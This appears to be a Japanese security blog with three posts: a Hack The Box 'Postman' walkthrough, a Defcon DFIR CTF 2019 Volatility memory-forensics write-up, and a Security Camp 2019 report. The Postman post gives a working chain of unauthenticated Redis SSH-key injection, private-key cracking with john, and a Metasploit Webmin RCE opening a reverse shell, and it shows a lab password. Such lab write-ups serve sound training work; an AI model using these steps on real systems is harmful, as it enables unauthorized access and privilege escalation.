# Nmap done at Sun Nov  3 17:18:28 2019 -- 1 IP address (1 host up) scanned in 57.35 seconds

port10000で稼働しているMiniServ 1.910 (Webmin httpd)には脆弱性がありますが、認証情報を必要とするものです。

Webmin Webmin version 1.910 : Security vulnerabilities

2280を調査しても何も見つかりません。

-p-オプションを追加してフルスキャンします。

# Nmap 7.80 scan initiated Sun Nov  3 17:17:54 2019 as: nmap -sV -sC -A -p- -oA full postman.htb
                                      (snip)
6379/tcp  open     redis   Redis key-value store 4.0.9
                                      (snip)

port6379にてRedisというサービスが稼働していうるのを確認でました。

2. Redisの調査

2.1. Redisとは

Redisは、ネットワーク接続された永続化可能なインメモリデータベース。連想配列、リスト、セットなどのデータ構造を扱える。いわゆるNoSQLデータベースの一つ。オープンソースソフトウェアプロジェクトであり、Redis Labsがスポンサーとなって開発されている。

Wikipediaより

2.2. Redisの脆弱性調査

Kali Linux - An Ethical Hacker's Cookbookに攻撃方法が記載されているので、この攻撃を利用します。

https://www.amazon.co.jp/Kali-Linux-Practical-strategies-penetration/dp/1789952301

 

この攻撃は認証されていないRedisのインスタンスを使用し、authorized_keysに作成した公開鍵を書き込むといった手法です。

root@kali:# ssh-keygen -t rsa
root@kali:#(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > ssh-key.txt

Redisへの接続にはredis-cliを使用します。

root@kali:#apt instll redis-cli
root@kali:#cat ssh-key.txt | redis-cli -h postman.htb -x set ssh-key
root@kali:#redis-cli -h postman.htb
postman.htb:6379> config get dir
1) "dir"
2) "/var/lib/redis/.ssh"
postman.htb:6379> config set dir /var/lib/redis/.ssh
OK
postman.htb:6379> config set dbfilename "authorized_keys"
OK
postman.htb:6379> save
OK

3. SSH

3.1. 調査

攻撃が成功するとredisとしてログインすることができます。

root@kali:#ssh redis@postman.htb
redis@Postman:~$ls /home/
Matt

.bashrcを読むと19行目と22行目にid_rsa.bakというファイルを使用した形跡をあります。

id_rsa.bakのバックアップを取り忘れていました...)

3.2.id_rsa.bakを探す

redis@Postman:~$find / > find_id_rsa.bak.txt
redis@Postman:~$cat find_id_rsa.bak.txt | grep id_rsa.bak
/opt/id_rsa.bak
/var/lib/redis/find_id_rsa.bak.txt

/opt/下にid_rsa.bakを発見しました。

(特定のファイルのロケーションを調べるのに、効率の良い方法を知っている方が居たら教えてください。)

 

id_rsa.bakの中身は秘密鍵です。

root@kali:# cat id_rsa.bak
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: DES-EDE3-CBC,73E9CEFBCCF5287C

JehA51I17rsCOOVqyWx+C8363IOBYXQ11Ddw/pr3L2A2NDtB7tvsXNyqKDghfQnX
cwGJJUD9kKJniJkJzrvF1WepvMNkj9ZItXQzYN8wbjlrku1bJq5xnJX9EUb5I7k2
7GsTwsMvKzXkkfEZQaXK/T50s3I4Cdcfbr1dXIyabXLLpZOiZEKvr4+KySjp4ou6
cdnCWhzkA/TwJpXG1WeOmMvtCZW1HCButYsNP6BDf78bQGmmlirqRmXfLB92JhT9
1u8JzHCJ1zZMG5vaUtvon0qgPx7xeIUO6LAFTozrN9MGWEqBEJ5zMVrrt3TGVkcv
EyvlWwks7R/gjxHyUwT+a5LCGGSjVD85LxYutgWxOUKbtWGBbU8yi7YsXlKCwwHP
UH7OfQz03VWy+K0aa8Qs+Eyw6X3wbWnue03ng/sLJnJ729zb3kuym8r+hU+9v6VY
Sj+QnjVTYjDfnT22jJBUHTV2yrKeAz6CXdFT+xIhxEAiv0m1ZkkyQkWpUiCzyuYK
t+MStwWtSt0VJ4U1Na2G3xGPjmrkmjwXvudKC0YN/OBoPPOTaBVD9i6fsoZ6pwnS
5Mi8BzrBhdO0wHaDcTYPc3B00CwqAV5MXmkAk2zKL0W2tdVYksKwxKCwGmWlpdke
P2JGlp9LWEerMfolbjTSOU5mDePfMQ3fwCO6MPBiqzrrFcPNJr7/McQECb5sf+O6
jKE3Jfn0UVE2QVdVK3oEL6DyaBf/W2d/3T7q10Ud7K+4Kd36gxMBf33Ea6+qx3Ge
SbJIhksw5TKhd505AiUH2Tn89qNGecVJEbjKeJ/vFZC5YIsQ+9sl89TmJHL74Y3i
l3YXDEsQjhZHxX5X/RU02D+AF07p3BSRjhD30cjj0uuWkKowpoo0Y0eblgmd7o2X
0VIWrskPK4I7IH5gbkrxVGb/9g/W2ua1C3Nncv3MNcf0nlI117BS/QwNtuTozG8p
S9k3li+rYr6f3ma/ULsUnKiZls8SpU+RsaosLGKZ6p2oIe8oRSmlOCsY0ICq7eRR
hkuzUuH9z/mBo2tQWh8qvToCSEjg8yNO9z8+LdoN1wQWMPaVwRBjIyxCPHFTJ3u+
Zxy0tIPwjCZvxUfYn/K4FVHavvA+b9lopnUCEAERpwIv8+tYofwGVpLVC0DrN58V
XTfB2X9sL1oB3hO4mJF0Z3yJ2KZEdYwHGuqNTFagN0gBcyNI2wsxZNzIK26vPrOD
b6Bc9UdiWCZqMKUx4aMTLhG5ROjgQGytWf/q7MGrO3cF25k1PEWNyZMqY4WYsZXi
WhQFHkFOINwVEOtHakZ/ToYaUQNtRT6pZyHgvjT0mTo0t3jUERsppj1pwbggCGmh
KTkmhK+MTaoy89Cg0Xw2J18Dm0o78p6UNrkSue1CsWjEfEIF3NAMEU2o+Ngq92Hm
npAFRetvwQ7xukk0rbb6mvF8gSqLQg7WpbZFytgS05TpPZPM0h8tRE8YRdJheWrQ
VcNyZH8OHYqES4g2UF62KpttqSwLiiF4utHq+/h5CQwsF+JRg88bnxh2z2BD6i5W
X+hK5HPpp6QnjZ8A5ERuUEGaZBEUvGJtPGHjZyLpkytMhTjaOrRNYw==
-----END RSA PRIVATE KEY-----

4. 秘密鍵の解析

root@kali:#ssh2john.py id_rsa.bak > id_rsa.bak.hash
root@kali:#john --wordlist=rockyou.txt id_rsa.bak.hash
Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 1 for all loaded hashes
Cost 2 (iteration count) is 2 for all loaded hashes
Will run 8 OpenMP threads
Note: This format may emit false positives, so it will keep trying even after
finding a possible candidate.
Press 'q' or Ctrl-C to abort, almost any other key for status
[PASSWORD]     (id_rsa.bak)
Warning: Only 1 candidate left, minimum 8 needed for performance.
1g 0:00:00:06 DONE (2019-11-05 19:10) 0.1497g/s 2146Kp/s 2146Kc/s 2146KC/s *7¡Vamos!
Session completed

5. user.txtの取得

Mattとしてログイン

root@kali:#ssh redis@postman.htb
redis@Postman:~$su Matt
(Enter Matt's password.)
Matt@Postman:/var/lib/redis$ cd ~
Matt@Postman:~$ ls
user.txt
Matt@Postman:~$ cat user.txt | wc -c
33

6. Privilege escalation

Mattの認証情報を取得できたので、MiniServ 1.910 (Webmin httpd)脆弱性をが利用可能になります。

CVE-2019-12840 : In Webmin through 1.910, any user authorized to the "Package Updates" module can execute arbitrary commands wi

root@kali:#msfconsole
msf5 > search webmin

Matching Modules
================

   #  Name                                         Disclosure Date  Rank       Check  Description
   -  ----                                         ---------------  ----       -----  -----------
   0  auxiliary/admin/webmin/edit_html_fileaccess  2012-09-06       normal     No     Webmin edit_html.cgi file Parameter Traversal Arbitrary File Access
   1  auxiliary/admin/webmin/file_disclosure       2006-06-30       normal     No     Webmin File Disclosure
   2  exploit/linux/http/webmin_packageup_rce      2019-05-16       excellent  Yes    Webmin Package Updates Remote Command Execution
   3  exploit/unix/webapp/webmin_backdoor          2019-08-10       excellent  Yes    Webmin password_change.cgi Backdoor
   4  exploit/unix/webapp/webmin_show_cgi_exec     2012-09-06       excellent  Yes    Webmin /file/show.cgi Remote Command Execution
   5  exploit/unix/webapp/webmin_upload_exec       2019-01-17       excellent  Yes    Webmin Upload Authenticated RCE
msf5 > use 2
msf5 exploit(linux/http/webmin_packageup_rce) > set rhost postman.htb
msf5 exploit(linux/http/webmin_packageup_rce) > set lhost [IP]
msf5 exploit(linux/http/webmin_packageup_rce) > set ssl true
msf5 exploit(linux/http/webmin_packageup_rce) > set username Matt
msf5 exploit(linux/http/webmin_packageup_rce) > set password [PASSWORD]
msf5 exploit(linux/http/webmin_packageup_rce) > show options 

Module options (exploit/linux/http/webmin_packageup_rce):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   PASSWORD   computer2008     yes       Webmin Password
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS     10.10.10.160     yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:'
   RPORT      10000            yes       The target port (TCP)
   SSL        true             no        Negotiate SSL/TLS for outgoing connections
   TARGETURI  /                yes       Base path for Webmin application
   USERNAME   Matt             yes       Webmin Username
   VHOST                       no        HTTP server virtual host


Payload options (cmd/unix/reverse_perl):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  [IP]             yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Webmin <= 1.910
msf5 exploit(linux/http/webmin_packageup_rce) > exploit 

[*] Started reverse TCP handler on [IP]:4444 
[+] Session cookie: [cookie]
[*] Attempting to execute the payload...
[*] Command shell session 1 opened ([IP]:4444 -> 10.10.10.160:36752) at 2019-11-05 21:20:27 +0900

pwd
/usr/share/webmin/package-updates
python3 -c 'import pty; pty.spawn("/bin/bash")'
root@Postman:/usr/share/webmin/package-updates/# cd ~
cd ~
root@Postman:~# ls
ls
redis-5.0.0  root.txt
root@Postman:~# cat root.txt | wc -c
cat root.txt | wc -c
33

Defcon DFIR CTF 2019 Write-up

はじめに

Defcon DFIR CTF 2019に個人で参加しました。

defcon2019.ctfd.io

ジャンルは5つありますが「Memory Forensics」以外あまり解けなかったので、Memory Forensicsについて書きます。解け次第追記しますが、悪しからず。

 

更新履歴(2019/08/19)

なし

 

解けた問題

Memory Forensics

get your volatility on [5pts]

pr0file [10pts]

hey, write this down [12pts]

wscript can haz children [14pts]

tcpip settings [18pts]

intel [18pts]

i <3 windows dependencies [20pts]

mal-ware-are-you [20pts]

lm-get bobs hash [24ptsp]

vad the impaler [25ptsp]

more vads?! [25ptsp]

vacation bible school [25pts]

8675309 [35pts]

whats-a-metasploit? [50pts]

 

Memory Forensics

  get your volatility on [5pts]

配布されたmemファイルのSHA1を計算する

$ sha1sum Adam Ferrante - Triage-Memory.mem

flag<c95e8cc8c946f95a109ea8e47a6800de10a27abd>

  pr0file [10pts]

配布されたmemファイルのOSは何かを特定する問題

$ volatility -f Adam Ferrante - Triage-Memory.mem imageinfo

flag<Win7SP1x64>

  hey, write this down [12pts]

notepad.exeのプロセスIDは何かを特定する問題

$ volatility -f Adam Ferrante - Triage-Memory.mem --profile=Win7SP1x64 pslist | grep notepad.exe
  Foundation Volatility Framework 2.5
  0xfffffa80054f9060 notepad.exe            3032   1432      1       60      1      0 2019-03-22 05:32:22 UTC+0000

flag<1432>

  wscript can haz children [14pts]

wscript.exeの子プロセスの名前を特定する問題

$ volatility -f Adam Ferrante - Triage-Memory.mem --profile=Win7SP1x64 pstree | grep -3 wscript.exe
  Volatility Foundation Volatility Framework 2.5
  . 0xfffffa8004798320:calc.exe                        3548   1432      3     77 2019-03-22 05:34:43 UTC+0000
  . 0xfffffa80053d3060:POWERPNT.EXE                    4048   1432     23    765 2019-03-22 05:35:09 UTC+0000
  . 0xfffffa8004905620:hfs.exe                         3952   1432      6    214 2019-03-22 05:34:51 UTC+0000
  .. 0xfffffa8005a80060:wscript.exe                    5116   3952      8    312 2019-03-22 05:35:32 UTC+0000
  ... 0xfffffa8005a1d9e0:UWkpjFjDzM.exe                3496   5116      5    109 2019-03-22 05:35:33 UTC+0000
  .... 0xfffffa8005bb0060:cmd.exe                      4660   3496      1     33 2019-03-22 05:35:36 UTC+0000
  . 0xfffffa80054f9060:notepad.exe                     3032   1432      1     60 2019-03-22 05:32:22 UTC+0000

flag<UWkpjFjDzM.exe>

  tcpip settings [18pts]

RAMがダンプされた時、マシンに割り当てられていたIPアドレスを答える問題

$ volatility -f Adam Ferrante - Triage-Memory.mem --profile=Win7SP1x64 netscan
  Volatility Foundation Volatility Framework 2.5
  Offset(P)          Proto    Local Address                  Foreign Address      State            Pid      Owner          Created
  0x13e057300        UDPv4    10.0.0.101:55736               *:*                                   2888     svchost.exe    2019-03-22 05:32:20 UTC+0000
                                                                        (snip)
  0x13fc857e0        TCPv4    -:49167                        72.51.60.132:443     CLOSED           1272     EXCEL.EXE

flag<10.0.0.101>

  intel [18pts]

攻撃者のIPアドレスを特定する問題

$ volatility -f Adam Ferrante - Triage-Memory.mem --profile=Win7SP1x64 netscan
  Volatility Foundation Volatility Framework 2.5
  Offset(P)          Proto    Local Address                  Foreign Address      State            Pid      Owner          Created
  0x13e057300        UDPv4    10.0.0.101:55736               *:*                                   2888     svchost.exe    2019-03-22 05:32:20 UTC+0000
  0x13e05b4f0        UDPv6    ::1:55735                      *:*                                   2888     svchost.exe    2019-03-22 05:32:20 UTC+0000
  0x13e05b790        UDPv6    fe80::7475:ef30:be18:7807:55734 *:*                                   2888     svchost.exe    2019-03-22 05:32:20 UTC+0000
                                                                        (snip)
  0x13e397190        TCPv4    10.0.0.101:49217               10.0.0.106:4444      ESTABLISHED      3496     UWkpjFjDzM.exe
                                                                        (snip)
  0x13fa969f0        TCPv4    -:0                            56.219.119.5:0       CLOSED           1272     EXCEL.EXE
  0x13fbd07e0        TCPv4    -:49372                        212.227.15.9:25      CLOSED           504
  0x13fc857e0        TCPv4    -:49167                        72.51.60.132:443     CLOSED           1272     EXCEL.EXE

flag<10.0.0.106>

  i <3 windows dependencies [20pts]

VCRUNTIME140.dllが関連付けられているプロセスの名前を答える問題

$ volatility -f Adam Ferrante - Triage-Memory.mem --profile=Win7SP1x64 dlldump --dump-dir ./ | grep VCRUNTIME140.dll
  Volatility Foundation Volatility Framework 2.5
  0xfffffa80058ed390 OfficeClickToR       0x000007fefa5c0000 VCRUNTIME140.dll     OK: module.1136.13e4ed390.7fefa5c0000.dll

flag<OfficeClickToR>

注意:正しいプロセス名は「OfficeClickToRun.exe」だが、Volatility上で表示されている「OfficeClickToR」を入力しないとフラグが通らない。

  mal-ware-are-you [20pts]

マルウェアMD5ハッシュを計算する問題

$ volatility -f Adam Ferrante - Triage-Memory.mem --profile=Win7SP1x64 procdump -D ./ -p 3496
  Volatility Foundation Volatility Framework 2.5
  Process(V)         ImageBase          Name                 Result
  ------------------ ------------------ -------------------- ------
  0xfffffa8005a1d9e0 0x0000000000400000 UWkpjFjDzM.exe       OK: executable.3496.exe
$ md5sum -d executable.3496.exe
  690ea20bc3bdfb328e23005d9a80c290

flag<690ea20bc3bdfb328e23005d9a80c290>

  lm-get bobs hash [24ptsp]

bobsというアカウントのLMハッシュを答える問題

$ volatility -f Adam Ferrante - Triage-Memory.mem --profile=Win7SP1x64 hashdump
  Volatility Foundation Volatility Framework 2.5
  Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
  Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
  Bob:1000:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

flag<aad3b435b51404eeaad3b435b51404ee>

  vad the impaler [25ptsp]

該当VADノードのページプロテクション状態を答える問題

$ volatility -f Adam Ferrante - Triage-Memory.mem --profile=Win7SP1x64 vadinfo | grep -10 0xfffffa800577ba10
  Volatility Foundation Volatility Framework 2.5
                                        (snip)
  VAD node @ 0xfffffa800577ba10 Start 0x0000000000030000 End 0x0000000000033fff Tag Vad
  Flags: NoChange: 1, Protection: 1
  Protection: PAGE_READONLY
  Vad Type: VadNone
  ControlArea @fffffa8005687a50 Segment fffff8a000c4f870
  NumberOfSectionReferences:          1 NumberOfPfnReferences:           0
  NumberOfMappedViews:               29 NumberOfUserReferences:         30
  Control Flags: Commit: 1
  First prototype PTE: fffff8a000c4f8b8 Last contiguous PTE: fffff8a000c4f8d0
  Flags2: Inherit: 1, SecNoChange: 1

flag<PAGE_READONLY>

  more vads?! [25ptsp]

同じく、該当VADノードのページプロテクション状態を答える問題

$ volatility -f Adam Ferrante - Triage-Memory.mem --profile=Win7SP1x64 vadinfo | grep -5 0x00000000033c0000
  Volatility Foundation Volatility Framework 2.5
  VAD node @ 0xfffffa8005819640 Start 0x0000000002f60000 End 0x0000000002fdffff Tag VadS
  Flags: CommitCharge: 2, PrivateMemory: 1, Protection: 4
  Protection: PAGE_READWRITE
  Vad Type: VadNone
                                        (snip)
  VAD node @ 0xfffffa80052652b0 Start 0x00000000033c0000 End 0x00000000033dffff Tag VadS
  Flags: CommitCharge: 32, PrivateMemory: 1, Protection: 24
  Protection: PAGE_NOACCESS
  Vad Type: VadNone
                                        (snip)
  VAD node @ 0xfffffa8005441480 Start 0x00000000033c0000 End 0x00000000033cffff Tag Vad
  Flags: Protection: 4
  Protection: PAGE_READWRITE
  Vad Type: VadNone
  ControlArea @fffffa80053012c0 Segment fffff8a0037d2100
  NumberOfSectionReferences:          1 NumberOfPfnReferences:           0

flag<PAGE_NOACCESS>

  vacation bible school [25pts]

マシン上で実行されたVBSファイルの名前を特定する問題

$ volatility -f Adam Ferrante - Triage-Memory.mem --profile=Win7SP1x64 dlllist | grep .vbs
  Volatility Foundation Volatility Framework 2.5
  Command line : "C:\Windows\System32\wscript.exe" //B //NOLOGO %TEMP%\vhjReUDEuumrX.vbs

flag<vhjReUDEuumrX.vbs>

  8675309 [35pts]

レコードが59045であるファイルの名前を特定する問題

$ volatility -f Adam Ferrante - Triage-Memory.mem mftparser
                                                                    (snip)
  ***************************************************************************
  ***************************************************************************
  MFT entry found at offset 0x2193d400
  Attribute: In Use & File
  Record Number: 59045
  Link count: 2


  $STANDARD_INFORMATION
  Creation                       Modified                       MFT Altered                    Access Date                    Type
  ------------------------------ ------------------------------ ------------------------------ ------------------------------ ----
  2019-03-17 06:50:07 UTC+0000 2019-03-17 07:04:43 UTC+0000   2019-03-17 07:04:43 UTC+0000   2019-03-17 07:04:42 UTC+0000   Archive

  $FILE_NAME
  Creation                       Modified                       MFT Altered                    Access Date                    Name/Path
  ------------------------------ ------------------------------ ------------------------------ ------------------------------ ---------
  2019-03-17 06:50:07 UTC+0000 2019-03-17 07:04:43 UTC+0000   2019-03-17 07:04:43 UTC+0000   2019-03-17 07:04:42 UTC+0000   Users\Bob\DOCUME~1\EMPLOY~1\EMPLOY~1.XLS
                                                                    (snip)

flag<EMPLOY~1.XLS>

  whats-a-metasploit? [50pts]

MeterpreteであるプロセスのPIDを答える問題

flag<3496>

まとめ

Volatilityの使い方を覚えるのに最適なCTF

メモリフォレンジック入門者向けかなという印象

楽しい

セキュリティ・キャンプ全国大会2019に参加してきた

セキュリティ・キャンプ全国大会2019に参加してきました。

www.ipa.go.jp

 

参加トラックはC(バラエティ)トラックです。

講義の内容は詳しく書けませんので、感想文だと思ってご覧下さい。

少しでも来年受講する方の有益な情報になればと思います。

 

 

受講した講義

Day2

C1〜C3「制御システムのセキュリティとShinoBOTによる攻防演習」

Day3

D4「組込みリアルタイムOSとIoTシステム演習」

D5「自走運転車両を守れ(自動運転車両の脅威分析)」

Day4

A6「マルウェアの暗号処理を解析しよう」

C7「車載LANの仕組みとメッセージの取得・解析」

 

講義についての感想

    C1〜C3「制御システムのセキュリティとShinoBOTによる攻防演習

 

このトラックは再現した産業システムのネットワーク上に流れているパケットを解析し、システムを攻撃・防御するといった講義です。

 

この講義のいい点は、やはり実際の機器を使用させて頂けるといった点です。

実際の産業システムでも使用されているようなPLCやHMI、ロボットアームといった機器を使用させて頂きました。

「これぞセキュリティキャンプ!」といった感じです。

(講師の方は機器の運搬に相当苦労したと仰っておられていましたw)

 

また、実際の産業システムへの攻撃ではどの様な攻撃手法で、

情報ネットワーク→制御ネットワーク→コントロールネットワーク

へと侵入してくるのかといったお話も聞くことができました。

 

個人的には1位タイで面白い講義でした。

 

    D4「組込みリアルタイムOSとIoTシステム演習」

 

この講義は組込みリアルタイムOSを使ったロボットを動かし、ロボット同士の競争やロボットへの攻撃をしてみようといった内容の講義です。

C1~C3の講義と同じくロボットの実機を使用でき、THEセキュキャンといった講義です。

 

しかし環境の問題で2/4チームがロボットを動かすことができないといった残念な結果となってしまい、競争や攻撃ができないまま講義が終了してしまいました。

 

ロボットを動かすことが出来ずに悔しかったですが、RTOSなにつてい学ぶことができました。

 

    D5「自走運転車両を守れ(自動運転車両の脅威分析)」

 

この講義はIoT機器が増えていく中で「どこが脅威をなるか」といった視点で、高レイヤーから低レイヤーにいたるまでIoTの脆弱性について学ぶといった講義です。

 

他の講義とは毛色が違い、一切パソコンは使用しない講義でした。

 

普段は自ら調べることは無い、昔の車の仕組みや昔のチップのお話を聞くことができました。

一緒くたにセキュリティといっても様々な視点があるのだと考えさせられる講義でした。

 

    A6「マルウェアの暗号処理を解析しよう」

 

この講義はマルウェアがC&Cサーバーや取得した情報を外部へ流す際、発生する通信の暗号を解読できる様になろうといった内容の講義です。

(詳しい内容:https://insight-jp.nttsecurity.com/post/102flpy/untitled

 

複数の暗号のアルゴリズムソースコードアセンブラを4時間で理解するという非常に濃い内容の講義でした。

すこーしだけマルウェア解析を行ったことがあるというレベルの私では講義の3割ほどした理解できませんでしが、圧倒的成長を得られる講義です。

 

低レイヤー好きやマルウェア解析に興味がある方は選択必須の講義だと思います!

 

    C7「車載LANの仕組みとメッセージの取得・解析」

 

この講義は車載LANの仕組みを学んだり、その車載LANに流れているパケットを解析して攻撃したりしようといった内容です。

 

いい点はC1~C3と同じく、実機を使用させて頂けるという点です。

これぞセキュリティキャンプといった講義です。

 

個人的には1位タイで面白いで、選択して後悔はしない講義だと思います。

 

謝辞

CQ出版社さん、井上先生、Black Hatバッグを提供して下さった講師の方

ご提供下さり、誠にありがとうございます。

 

おまけ

私はキャンプに参加する前に「ご飯はどうなんだろう...」という疑問がありました。

同じような疑問を持っている方は少なからずいらっしゃると思います。食は大切ですからね。

心配していましたが、普通においしかったです!